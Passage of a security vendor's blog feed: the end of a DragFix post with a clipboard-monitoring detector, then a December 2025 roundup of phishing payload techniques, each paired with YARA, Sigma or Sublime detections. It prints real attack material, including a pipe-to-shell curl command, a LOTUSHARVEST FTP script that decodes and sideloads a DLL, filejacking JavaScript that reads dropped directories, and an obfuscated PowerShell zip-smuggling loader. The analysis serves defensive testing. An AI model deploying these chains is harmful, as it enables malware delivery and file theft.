NSLog(@&quot;Monitored browsers:&quot;);<br>        for (NSString *bid in [gBrowserBundleIDs.allObjects sortedArrayUsingSelector:@selector(compare:)]) {<br>            NSLog(@&quot;  • %@&quot;, bid);<br>        }<br>        NSLog(@&quot;&quot;);<br>        NSLog(@&quot;Filtering to events involving the above apps only.&quot;);<br>        NSLog(@&quot;Monitoring clipboard copies, pastes (⌘+V), and drag pasteboard changes…&quot;);<br><br>        // ── 1. Poll general pasteboard for copy detection ──<br>        __block NSInteger lastChangeCount = NSPasteboard.generalPasteboard.changeCount;<br>        [NSTimer scheduledTimerWithTimeInterval:0.3 repeats:YES block:^(NSTimer *t) {<br>            NSInteger current = NSPasteboard.generalPasteboard.changeCount;<br>            if (current != lastChangeCount) {<br>                lastChangeCount = current;<br>                RecordCopySource();<br>            }<br>        }];<br><br>        // ── 2. Poll drag pasteboard for drag activity ──<br>        gLastDragChangeCount = [NSPasteboard pasteboardWithName:NSPasteboardNameDrag].changeCount;<br>        [NSTimer scheduledTimerWithTimeInterval:0.3 repeats:YES block:^(NSTimer *t) {<br>            CheckDragPasteboard();<br>        }];<br><br>        // ── 3. AX watchers on terminals for drop detection ──<br>        NSLog(@&quot;&quot;);<br>        NSLog(@&quot;Terminal AX watchers:&quot;);<br>        StartTerminalWatchers();<br>        NSLog(@&quot;&quot;);<br><br>        // ── 4. Global key monitor for ⌘+V (paste detection) ──<br>        [NSEvent addGlobalMonitorForEventsMatchingMask:NSEventMaskKeyDown<br>                                               handler:^(NSEvent *event) {<br>            BOOL cmdDown = (event.modifierFlags &amp; NSEventModifierFlagCommand) != 0;<br>            NSString *chars = [event.charactersIgnoringModifiers lowercaseString];<br>            if (cmdDown &amp;&amp; [chars isEqualToString:@&quot;v&quot;]) {<br>                LogPaste(@&quot;⌘+V&quot;);<br>            }<br>        }];<br><br>        [app run];<br>    }<br>    return 0;<br>}</pre><p>Running this while we use our DragFix sample (and a copy-paste for good measure), we see the below output:</p><pre>% ./ClipboardMonitor <br>╔══════════════════════════════════════════╗<br>║   Clipboard &amp; Drag Pasteboard Monitor    ║<br>║                  @ajpc500 / delivr.to    ║<br>╚══════════════════════════════════════════╝<br>Monitored terminals:<br>   • co.zeit.hyper<br>   • com.apple.Terminal<br>   • com.github.wez.wezterm<br>   • com.googlecode.iterm2<br>   • com.mitchellh.ghostty<br>   • dev.warp.Warp-Stable<br>   • net.kovidgoyal.kitty<br>Monitored browsers:<br>   • app.zen-browser.zen<br>   • com.apple.Safari<br>   • com.brave.Browser<br>   • com.google.Chrome<br>   • com.microsoft.edgemac<br>   • com.operasoftware.Opera<br>   • com.vivaldi.Vivaldi<br>   • company.thebrowser.Browser<br>   • org.mozilla.firefox<br>Filtering to events involving the above apps only.<br>Monitoring clipboard copies, pastes (⌘+V), and drag pasteboard changes…<br>Terminal AX watchers:<br>   👁 Watching com.apple.Terminal (pid 1068)<br>📦 DRAG  | app: Google Chrome [com.google.Chrome] (browser) | 339 chars | &quot;echo b3Nhc2NyaXB0IC1lICdkaXNwbGF5IGRpYWxvZyAiSGkgZnJvbSBkZWxpdnIudG8hIiB3aXRoIHRpdGxlICJkZWxpdnIudG8iIGJ1dHRvbnMgeyJPSyJ…&quot;<br>🎯 DROP  | source: drag pasteboard → dest: Terminal [com.apple.Terminal] (terminal) | 339 chars | &quot;echo b3Nhc2NyaXB0IC1lICdkaXNwbGF5IGRpYWxvZyAiSGkgZnJvbSBkZWxpdnIudG8hIiB3aXRoIHRpdGxlICJkZWxpdnIudG8iIGJ1dHRvbnMgeyJPSyJ…&quot;<br>📋 COPY  | source: Google Chrome [com.google.Chrome] signing_id:com.google.Chrome category:browser | 19 chars | &quot;curl delivr.to | sh&quot;<br>📎 PASTE | trigger: ⌘+V | source: Google Chrome [com.google.Chrome] (browser) → dest: Terminal [com.apple.Terminal] (terminal) | 19 chars | &quot;curl delivr.to | sh&quot;</pre><p>There are some edge cases to this ‘frontmost application’ approach, namely when you drag content into a background window, but as a proof-of-concept it shows what’s possible!</p><h3><strong>Conclusion</strong></h3><p>A pattern we see time and time again: each time a defensive gap closes, offensive techniques evolve just enough to slip through. ClickFix weaponised the clipboard. FileFix moved the interaction to the file explorer. Now, DragFix offers up a drag-and-drop mechanic that, combined with the potential for instant execution, feels primed for abuse.</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51a496773cb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[delivr.to’s Top 10 Payloads (Dec ‘25): Filejacking, Polyglots and Esoteric Smuggling]]></title>
            <link>https://medium.com/@delivrto/delivr-tos-top-10-payloads-dec-25-filejacking-polyglots-and-esoteric-smuggling-7ae8354ce7c9?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ae8354ce7c9</guid>
            <category><![CDATA[phishing-attacks]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[email-security]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 17:49:08 GMT</pubDate>
            <atom:updated>2025-12-18T17:49:08.114Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RARjX-q7QbjHlVTDy4rBvw.png" /></figure><blockquote><em>Read our previous Top 10 list from July ‘25 </em><a href="https://blog.delivr.to/delivr-tos-top-10-payloads-july-25-filefix-zip-smuggling-and-qrljacking-d2ef930675fe"><em>here</em></a><em>.</em></blockquote><p>Twice a year, we take a look at the notable developments in phishing and initial access. Our Top 10 captures the tradecraft that mattered most over the past six months — not just what was new or novel, but what proved effective — as adversaries refined social engineering, payload delivery, and defence evasion in increasingly covert ways.</p><p>This iteration lands at an interesting inflection point. Two themes dominate: pervasive permutations of user-assisted execution — ClickFix, FileFix, and more recently <a href="https://pushsecurity.com/blog/consentfix">ConsentFix</a> — and increasingly esoteric smuggling, as threat actors discover new ways to thread malicious content through modern defences.</p><p>That smuggling spans a broad spectrum. From file structure and metadata manipulation to abusing parser flexibility and filename conventions, malware is increasingly embedded in places our security controls might overlook. Alongside this evolution, the familiar, ol’ faithful tradecraft persists: use of LOLBINs and techniques like DLL side-loading remain dependable constants — less novel, but clearly effective when paired with contemporary lures.</p><p>If you’re new here, <a href="https://delivr.to/">delivr.to</a> exists to support purple team testing. Measuring, improving, and validating defensive email capabilities has always been the goal. As you work through our December ‘25 Top 10, you’ll find recreated samples for each technique — including additional permutations — enabling you to put your defences to the test!</p><p>Our Top 10 for December ‘25 is as follows:</p><ol><li><a href="#16cc">LOTUSHARVEST FTP Script PNG Polyglot</a></li><li><a href="#ac6b">Filejacking Mapped Drive Exfiltration</a></li><li><a href="#9256">DPRK Script Editor SCPT</a></li><li><a href="#b78f">ICS Phishing</a></li><li><a href="#9d30">Mustang Panda Zip Smuggling</a></li><li><a href="#ff53">Epsilon Red FileFix HTA</a></li><li><a href="#f399">Cache Smuggling</a></li><li><a href="#ec34">SVG ‘onclick’ Blob URL</a></li><li><a href="#e200">VShell Malicious Filename</a></li><li><a href="#fca6">CVE-2025-6218 WinRAR Arbitrary File Write</a></li></ol><h4>1. LOTUSHARVEST FTP Script PNG Polyglot</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=218c8647-2981-486e-86a4-0bedf3893b26">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>LNK and polyglot PNG delivered in a ZIP archive</li><li>LNK leverages built-in Windows ftp.exe for script execution</li><li>Polyglot PNG serves as decoy PDF, FTP script and contains sideloaded DLL</li></ul><p>To start us off, in late November ’25, SEQRITE Labs published a blog that highlighted infostealer activity targeting Vietnamese IT and HR teams in a campaign they dubbed “Operation Hanoi Thief”.</p><p><a href="https://www.seqrite.com/blog/9479-2/">operation-hanoi-thief-lNK-lotusharvest-vietnam-apt</a></p><p>The initial delivery consisted of a ZIP archive containing an LNK and PNG file. There are several interesting techniques at play here that all effectively pivot around the image file, which exhibits polyglot-like characteristics.</p><p>The LNK — using a PDF icon and double extension, CV.pdf.lnk — executes the built-in Windows FTP utility when launched.</p><pre>cmd.exe /c ftp.exe -s:&quot;offsec-certified-professional.png&quot;</pre><p>The FTP utility isn’t actually doing anything related to file transfers in this case. It parses the provided PNG for script instructions, and shells out to run any script lines prefixed with an exclamation mark (in this case, all of them!).</p><pre>!DeviceCredentialDeployment.exe <br>!cmd.exe /c for /r C:\Windows\System32\ %i in (*ertu*.exe) do copy %i C:\ProgramData\lala.exe /y <br>!cmd.exe /c copy &quot;offsec-certified-professional.png&quot; &quot;C:\ProgramData\CV-Nguyen-Van-A.pdf&quot;<br>!explorer.exe C:\ProgramData\CV-Nguyen-Van-A.pdf<br>!findstr /R &quot;TVqQAAMAAAAEAAAA//8AAL&quot; &quot;offsec-certified-professional.png&quot; &gt; &quot;C:\ProgramData\b64.tmp&quot; &amp;&amp; findstr /V /C:&quot;findstr /R&quot; &quot;C:\ProgramData\b64.tmp&quot; &gt; &quot;%temp%\b64.tmp&quot; &amp;&amp; move /Y &quot;%temp%\b64.tmp&quot; &quot;C:\ProgramData\b64.tmp&quot; &gt;nul<br>!certutil -decode C:\ProgramData\b64.tmp C:\ProgramData\MsCtfMonitor.dll<br>!cmd.exe /c copy &quot;C:\Windows\System32\ctfmon.exe&quot; &quot;C:\ProgramData\ctfmon.exe&quot;<br>!start C:\ProgramData\ctfmon.exe <br>!cmd.exe /c del C:\ProgramData\lala.exe <br>!cmd.exe /c del C:\ProgramData\b64.tmp <br>quit</pre><p>Seen above, the script performs the following actions:</p><ol><li>Launches DeviceCredentialDeployment.exe, a <a href="https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/">LOLBIN</a> that grabs the console window handle and hides it</li><li>Finds the certutil binary in System32 and creates a copy in ProgramData</li><li>Creates a copy of the PNG and renames it as a PDF, CV-Nguyen-Van-A.pdf</li><li>Opens the decoy CV PDF with the default handler</li><li>Uses the findstr utility to find an embedded Base64 encoded DLL in the PNG, based on its predictable MZ file header.</li><li>Uses certutil (weirdly, not the one that was copied and renamed?) to decode the Base64 string and save the original DLL with a filename of MsCtfMonitor.dll.</li><li>Copies the built-in ctfmon.exe utility from System32 alongside the decoded DLL.</li><li>Launches ctfmon.exe to sideload the DLL and execute LOTUSHARVEST infostealer code in a Microsoft-signed process.</li></ol><p>Clearly, lots going on here! Taking a look at the PNG (slightly abridged) in a hex viewer, you can see the distinct sections of the file that pertain to FTP scripting, PDF content and encoded DLL (the grey, green and red sections, respectively).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAl58BBj_znaBdIBgLaM7Q.png" /></figure><p>It’s impressive to see the threat actor taking advantage of how the FTP utility and PDF viewers are both flexible enough to parse the PNG and target their relevant data sections, without the file needing to be meaningfully altered.</p><p>A graphical representation of the PNG polyglot usage can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD-xYxrKDJPVYe9rCXPJxQ.png" /></figure><p><strong>Detections:</strong></p><p>As with any defensive strategy, we ideally want detection-in-depth. This could take the form of:</p><ul><li>Reducing attack surface by alerting/blocking LNK attachment delivery</li><li>YARA scanning for polyglot indicators</li><li>Endpoint detections for FTP scripting and use of certutil for decoding</li></ul><p>An example YARA rule for this sample can be seen below:</p><pre>rule SUSP_PNG_Polyglot_Dec25 {<br>    meta:<br>        description = &quot;Detects a PNG polyglot file used to deliver LOTUSHARVEST, containing FTP scripting, encoded DLL and PDF header elements&quot;<br>        author = &quot;delivr.to&quot;<br>        date = &quot;2025-12-17&quot;<br>        score = 70<br>        reference = &quot;https://www.seqrite.com/blog/operation-hanoi-thief-threat-actor-targets-vietnamese-it-professionals-and-recruitment-teams/&quot;<br>    strings:<br>        $pdf = { 25 50 44 46 2D }<br>        $enc_mz = &quot;TVqQAAMAAAAEAAAA&quot; ascii<br>        $excmd = &quot;!cmd&quot; ascii<br>    condition:<br>        filesize &lt; 500KB and<br>        uint8(0) == 0x21 and // first byte is &#39;!&#39;<br>        $excmd in (0..800) and // &quot;!cmd&quot; in first 800 bytes<br>        $pdf and not $pdf at 0 and // PDF header but not at start of file<br>        $enc_mz // MZ header for embedded DLL<br>}</pre><ul><li><strong>Sublime — Rule:</strong> <a href="https://sublime.security/feeds/core/detection-rules/attachment-archive-containing-disallowed-file-type-3859e3e7/">Attachment: Archive containing disallowed file type</a></li><li><strong>Sigma: </strong><a href="https://github.com/SigmaHQ/sigma/blob/6d581764e79ccac2382eda6b5fd66bc3097ce92e/rules/windows/process_creation/proc_creation_win_ftp_arbitrary_command_execution.yml">Potential Arbitrary Command Execution Via FTP.EXE</a></li><li><strong>Sigma:</strong> <a href="https://github.com/SigmaHQ/sigma/blob/6d581764e79ccac2382eda6b5fd66bc3097ce92e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml">File Decoded From Base64/Hex Via Certutil.EXE</a></li></ul><h4>2. Filejacking Mapped Drive Exfiltration</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=8c1ea0b4-26e2-44bb-be2c-0cc9dd50b8e7">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_System_API">Chromium File System APIs</a> enable customised file opening/saving experiences</li><li>A combination of a drag-and-drop mechanic and File System APIs allows for directory enumeration and infostealer-like behaviour.</li></ul><p>Back in August ‘25, a research post from <a href="https://x.com/Print3M_">Print3M</a> caught our attention. In it, Print3M highlighted several payload delivery scenarios abusing Chromium’s File System APIs.</p><p>This caught our attention and led to us exploring another weaponisation objective — exfiltration.</p><p><a href="https://blog.delivr.to/filejacking-exfiltrating-mapped-drives-from-the-browser-bb0af6736625">FileJacking: Exfiltrating Mapped Drives from the Browser</a></p><p>In short, File System APIs are specific to Chromium browsers (like Chrome and Edge) and enable a customised file opening/saving experience to be provided to the end user.</p><p>Amongst other things, this includes configuring an initial folder to display in the Open/Save dialog, a subset of file types to permit, and a suggested file name.</p><blockquote>Changing the directory in which a file download takes place throws up some interesting implications for detections that target files being written exclusively to the user’s Downloads directory.</blockquote><p>Clearly, considerable effort has gone into the design of these APIs to inhibit several obvious abuse scenarios. Various on-screen warnings are displayed when used, several file names (e.g. double extensions) and file directories (like the top-level C: drive) are also blocked from reading and writing. One fruitful scenario we did identify during testing was the exfiltration of mapped drives.</p><p>By coercing the end user into dragging a mapped drive onto a weaponised web page, the File System API can be used to provide read access to the entire share (or at least the files that the user themselves has access to within it).</p><p>The code snippet below shows a basic implementation that enumerates the files and folders at the top level of a provided directory, reading each file’s contents and printing out its size.</p><pre>document.getElementById(&#39;drop-area&#39;).addEventListener(&quot;drop&quot;, async (e) =&gt; {<br>    e.preventDefault();<br>    try {<br>        var items = [...e.dataTransfer.items];<br>        var handlePromises = items.map((item) =&gt; item.getAsFileSystemHandle());<br><br>        for await (var handle of handlePromises) {<br>            if (handle.kind === &quot;directory&quot;) {<br>                console.log(&quot;[+] Directory dropped:&quot;, handle.name);<br><br>                subEntries = handle.entries();<br>                for await (var subEntry of subEntries) {<br>                    if (subEntry[1].kind === &quot;file&quot;) {<br>                        const fileHandle = subEntry[1];<br>                        const file = await fileHandle.getFile();<br>                        const size = file.size<br>                        console.log(`[+] File: ${subEntry[0]} (${size} bytes)`);<br>                    } else if (subEntry[1].kind === &quot;directory&quot;) {<br>                        console.log(&quot;[+] Dir:&quot;, subEntry[0]);<br>                    }<br>                }<br>            }<br>            return;<br>        }<br>    } catch (error) {<br>        console.error(&#39;Error:&#39;, error);<br>    }<br>});</pre><p>By default, and crucially without any further user prompt, you’re provided with read access to the files in the dropped directory.</p><p>Using a generic ‘network drive security update’ lure, we produced the below demonstration that enumerates a mapped drive and reads the contents of each file.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1108917158%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1108917158&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2046306015-75de362e4b4329e872da8bddbffa50b35007df84b5224cabe98fdbca88a00a23-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1299" frameborder="0" scrolling="no"><a href="https://medium.com/media/9b7d9949fa0cb9906478ed8b98ea12dc/href">https://medium.com/media/9b7d9949fa0cb9906478ed8b98ea12dc/href</a></iframe><p>Where an enterprise makes use of mapped home drives, for example, there are several high-value files that could be worth targeting with a technique like this; you’d probably look to the classic infostealer playbook with the likes of cookies, saved logins, SSH keys, and so on.</p><h4>Bonus Round — SVGs using File System APIs</h4><p>As is basically tradition at this point, it’s worth highlighting that this same File System API weaponisation can be achieved in an SVG file.</p><p>Used in conjunction with foreignObject elements (read more <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-dec-24-pastejacking-image-less-qr-codes-and-concatenated-zip-a32e668106dd#9a52">here</a>) and embedded JavaScript, we can produce a near-identical drive-grabbing capability with an SVG/SVGZ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*t5fGeUjGyF8WIjS5.png" /></figure><blockquote>Test an SVG smuggling variation of FileJacking with delivr.to <a href="https://delivr.to/?id=72c6ad20-f8a4-4c3d-94bc-e2baa9d439ef">here</a></blockquote><p><strong>Detections:</strong></p><p>JavaScript that performs filejacking can be delivered either in an attachment or as a hosted link.</p><p>While JavaScript obfuscation is an endless rabbit hole that would make robust detection of static indicators challenging, a Sublime rule like the below would flag the required functions in an attachment:</p><pre>type.inbound<br><br>and any(attachments,<br>    (<br>        // HTML file formats including svg, shtml, xht, etc.<br>        regex.imatch(.file_extension, &#39;^([sdx]{0,1}ht[ml]{0,2}|svgz?)&#39;) or <br>        .file_type == &quot;html&quot;<br>    ) and<br>    any(file.explode(.),<br>        // JavaScript content present in the HTML file<br>        any(.flavors.yara, . == &#39;javascript_file&#39;) and<br>        <br>        // File System API elements for:<br>        // - installing event listener for file/dir drop (not essential to attack)<br>        // - getting handle to file/dir<br>        // - requesting permissions to read and/or write to file<br>        // - reading file content<br>        length(filter([&#39;addEventListener&#39;, &#39;requestPermission&#39;, &#39;getAsFileSystemHandle&#39;, &#39;getFile&#39;],<br>            . in ..scan.javascript.identifiers<br>        )) &gt;= 3 and<br>        <br>        // Elements for:<br>        // - installing event listener to trigger on file dragged and dropped onto page<br>        // - one of read/write permission combinations<br>        any([&#39;drop&#39;, &#39;read&#39;, &#39;readwrite&#39;],<br>            . in ..scan.javascript.strings<br>        )<br>    )<br>)<br>...</pre><ul><li><strong>Sublime — Rule: </strong><a href="http://sublime.security/feeds/delivr-to/detection-rules/2681d4b0">Attachment: FileJacking Indicators (Unsolicited)</a></li><li><strong>Sublime — Rule: </strong><a href="https://sublime.security/feeds/delivr-to/detection-rules/cf08c53f">Link: FileJacking Indicators (Unsolicited)</a></li></ul><h4>3. DPRK Script Editor SCPT</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=9fd3974a-b764-4011-b3ea-f4eeb993aa5b">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>Delivered as a compiled AppleScript file (SCPT)</li><li>File-naming suggests a cryptocurrency-related target</li><li>Use of a double extension, .docx.scpt</li></ul><p>Next up, a sample targeting macOS, analysed by Moonlock Lab on X in October ’25:</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/moonlock_lab/status/1980683916571996312&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/45c502588830a6216e69ccbb1a747996/href">https://medium.com/media/45c502588830a6216e69ccbb1a747996/href</a></iframe><p>We often see tradecraft that exhibits a novel social engineering component in the <a href="https://delivr.to/">delivr.to</a> Top 10, and this time it’s no different.</p><p>This sample, attributed to the DPRK, uses the native macOS scripting language, AppleScript, as its initial vehicle for compromise. A compiled AppleScript file is delivered to the target, using a double-extension of .docx.scpt to trick the user into opening the file.</p><p>Sensibly, when an SCPT file is double-clicked in macOS it doesn’t execute straight away, instead opening the native Script Editor application to display the script content.</p><p>By using a commented warning message and some whitespace padding at the start of the script, the threat actor seeks to coerce the user into running the script manually under the guise of resolving a ‘compatibility issue’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VCJWW7UnAs6p6sLTIMc08A.png" /></figure><p>When executed, a series of reconnaissance commands (seen below) are executed before fetching a second-stage AppleScript via curl. This ultimately leads to the installation of a NodeJS backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpqNVBQBnes1qgL5tSQWOQ.jpeg" /><figcaption><a href="https://x.com/moonlock_lab/status/1980684362556350800?s=20">https://x.com/moonlock_lab/status/1980684362556350800</a></figcaption></figure><p><strong>Detections:</strong></p><p>The first port-of-call here is attack surface reduction. The delivery of SCPT files via email is likely something that can be blocked in the majority of cases.</p><p>macOS also permits the <a href="https://support.apple.com/en-gb/guide/mac-help/mh35597/mac">default handler of a file type to be modified</a>. By changing this for SCPT files from Script Editor to something like TextEdit, the social engineering element — i.e. clicking ▶️ to remediate a compatibility issue — cannot play out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGWZhO_v_9AqoER0u7qhgA.png" /></figure><p>SCPT payloads are also commonly seen delivered via DMG disk image files.</p><p><a href="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/">MacOS Infection Vector: Using AppleScripts to bypass Gatekeeper</a></p><p>Early-stage detection of this tradecraft could be achieved through file open events provided by Apple’s Endpoint Security Framework (ESF — ES_EVENT_TYPE_NOTIFY_OPEN), where the Script Editor application opens an SCPT file from a directory under /Volumes; pseudo-code logic for this might be as follows:</p><pre>event_type:&quot;FileOpen&quot; AND <br>file_path:&quot;/Volumes/*.scpt&quot; AND <br>source_signing_id:&quot;com.apple.ScriptEditor2&quot;</pre><h4>4. ICS Phishing</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=9e71476b-6068-4ae5-ab28-e8775af840b1">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>ICS calendar invites can be tailored to present fake attendee info and include attachments</li><li>Email clients often add received invites to user calendars, retaining the entry even after email deletion</li></ul><p>In November ’25, our friends at Sublime Security published a blog on a surge in ICS calendar invite-based phishing:</p><p><a href="https://sublime.security/blog/ics-phishing-stopping-a-surge-of-malicious-calendar-invites/">ICS phishing: Stopping a surge of malicious calendar invites · Blog · Sublime Security</a></p><p>Two and a half years ago(!), we included ICS phishing in our <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356#f891">first Top 10</a> list, and it’s regained its place in the list after a significant increase in threat actor usage.</p><p>Be it for callback phishing or credential theft, ICS calendar invites are an attractive vehicle for several reasons: they can embed attachments, spoof attendee lists, and — most notably — many mail clients automatically add them to users’ calendars.</p><p>ICS files themselves are flat text files, with attachments (and other metadata) easily manipulated, as seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7OK-a38Jue21TXfe.jpeg" /><figcaption>An embedded attachment in an ICS file. Taken from <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356#f891">the delivr.to Top 10</a> (May ‘23)</figcaption></figure><p>Even once malicious emails are removed, these calendar invites can persist, offering attackers another opportunity for a successful phish!</p><p>One example highlighted by Sublime used an HTML attachment included in the invite. This used a fake, Microsoft-themed domain expiry notification that ultimately presented the user with a GoDaddy credential phishing login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfNfBlwMYk28ZNBTzx_DWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LxNGlZM-JLuM5NNYs8pYpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3xDaLFMtRS5MWzMsRXWTkw.png" /></figure><blockquote>Check out other ICS samples on delivr.to <a href="https://delivr.to/?search=.ics">here</a></blockquote><p><strong>Detections:</strong></p><p>The Sublime team has shared a range of ICS-related detections in their community feed, as well as a response action to clear auto-added calendar entries deemed malicious.</p><ul><li><strong>Sublime — Rule: </strong><a href="https://sublime.security/feeds/core/detection-rules/attachment-calendar-invite-from-recently-registered-domain-d801521c/">Attachment: Calendar invite from recently registered domain</a></li><li><strong>Sublime — Rule:</strong> <a href="https://sublime.security/feeds/core/detection-rules/attachment-ics-with-embedded-document-8f9957d9/">Attachment: ICS with embedded document</a></li></ul><h4>5. Mustang Panda Zip Smuggling</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=ae38ec7f-723e-4cf3-a24a-93124217af0f">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>An LNK delivered within a ZIP archive</li><li>The ZIP structure has been manipulated to conceal a TAR archive</li><li>On execution of the LNK, the TAR is unpacked and an included EXE is launched to achieve a DLL sideload</li></ul><p>At №5, we have the return of a technique that also featured in <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-july-25-filefix-zip-smuggling-and-qrljacking-d2ef930675fe#9256">our last Top 10 </a>— Zip Smuggling.</p><p>When we wrote about it in July ’25, we weren’t aware of any in-the-wild use of the technique. Since then though, we’ve seen a steady stream of samples that have included it in their infection chains.</p><p>Conceptually, zip smuggling is straightforward: embed hidden content within the archive file structure (beyond what conventional archive managers display), then use scripted payloads to extract and execute the smuggled data. During our testing, we found this technique to effectively bypass mail gateways and allow the delivery of otherwise blocked file types, like executables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sTD3a7PIEOPxwLel" /><figcaption>Taken from: <a href="https://github.com/Octoberfest7/zip_smuggling">https://github.com/Octoberfest7/zip_smuggling</a></figcaption></figure><p>Check Point Research documented attacks using zip smuggling targeting US companies with “AI transformation” themes in late August:</p><p><a href="https://research.checkpoint.com/2025/zipline-phishing-campaign/">ZipLine Phishing Campaign Targets U.S. Manufacturing - Check Point Research</a></p><p>In October ’25, we analysed a further sample attributed to the China-affiliated Mustang Panda APT group, targeting South Korean government entities (see a write-up on the payload from Martin Kubečka, <a href="https://martinkubecka.sk/posts/2025-10-29-chinese_unc6384_malware_campaign_exploits_cambodia_thailand_crisis/">here</a>).</p><p><a href="https://bazaar.abuse.ch/sample/b15acbf8509ee90858a1d60eea3c50094b1e2b0b65c8596c65fc998e9b6a08a9/">Checking your browser</a></p><p>Like our polyglot sample earlier, this sample used an LNK file within a ZIP archive. Here, the content had been manipulated to smuggle a TAR archive within its file structure.</p><p>When the LNK file is executed, a PowerShell one-liner (shown below) parses the ZIP byte content, retrieving the TAR archive and writing it to the TEMP directory. This TAR archive is then expanded and a contained executable (signed by Canon with a now-expired certificate) is launched.</p><pre>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -c &quot;<br>$ifipuznhxni = (<br>    Get-ChildItem -Pa $Env:USERPROFILE -Re -Inc *&#39;NV2230_Update of Situation on Cambodia-Thailand Border&#39;.zip<br>).FullName;<br>$ykvzh=[System.IO.File]::ReadAllBytes($ifipuznhxni);<br>$gujjdckc=854;<br>$qiiobmfibdew=[char]87+&#39;r&#39;+[char]105+&#39;te&#39;+[char]65+&#39;l&#39;+[char]108+&#39;b&#39;+[char]121+&#39;tes&#39;;<br>echo $gujjdckc;<br>echo $gujjdckc;<br>[System.IO.File]::$qiiobmfibdew(<br>    $Env:temp + &#39;\rphbqultm.ta&#39;,<br>    $ykvzh[$gujjdckc..($gujjdckc + 2049024 - 1)]<br>);<br>echo $gujjdckc;<br>echo $gujjdckc;<br>TaR -xvf $Env:TEMP\rphbqultm.ta -C $Env:Temp;<br>echo $gujjdckc;<br>dir;<br>Start-Process $Env:temp\CCGFGAPQ-4KQX-7LS4-LG3P-6DP47ZZ8RV0T\cnmpaui.exe;&quot;</pre><p>This executable then sideloads a neighbouring DLL to initiate the infection, whilst opening a decoy PDF in the process.</p><blockquote>Test other Zip Smuggling <a href="https://delivr.to/?search=zipsmuggling">examples</a> with delivr.to.</blockquote><p><strong>Detections:</strong></p><p>Putting <a href="https://blog.delivr.to/tuning-365-defenders-anti-malware-controls-868a30346514">attack surface reduction</a> opportunities aside, we can focus on the ZIP file structure manipulation itself, a <a href="https://github.com/delivr-to/detections/blob/376762d71eb1777874d366136595994378416ef5/yara-rules/zip_smuggling.yar#L1-L47">YARA rule</a> as below could identify smuggling activity:</p><pre>rule SUSP_ZIP_Smuggling_Jun01<br>{<br>    meta:<br>        description = &quot;ZIP archives with data smuggled between last file record and the central directory.&quot;<br>        author = &quot;delivr.to&quot;<br>        date = &quot;2025-06-01&quot;<br>        score = 60<br>        reference = &quot;https://github.com/Octoberfest7/zip_smuggling/&quot;<br>    strings:<br>        $lfh  = { 50 4B 03 04 }            // Local File Header<br>        $eocd = { 50 4B 05 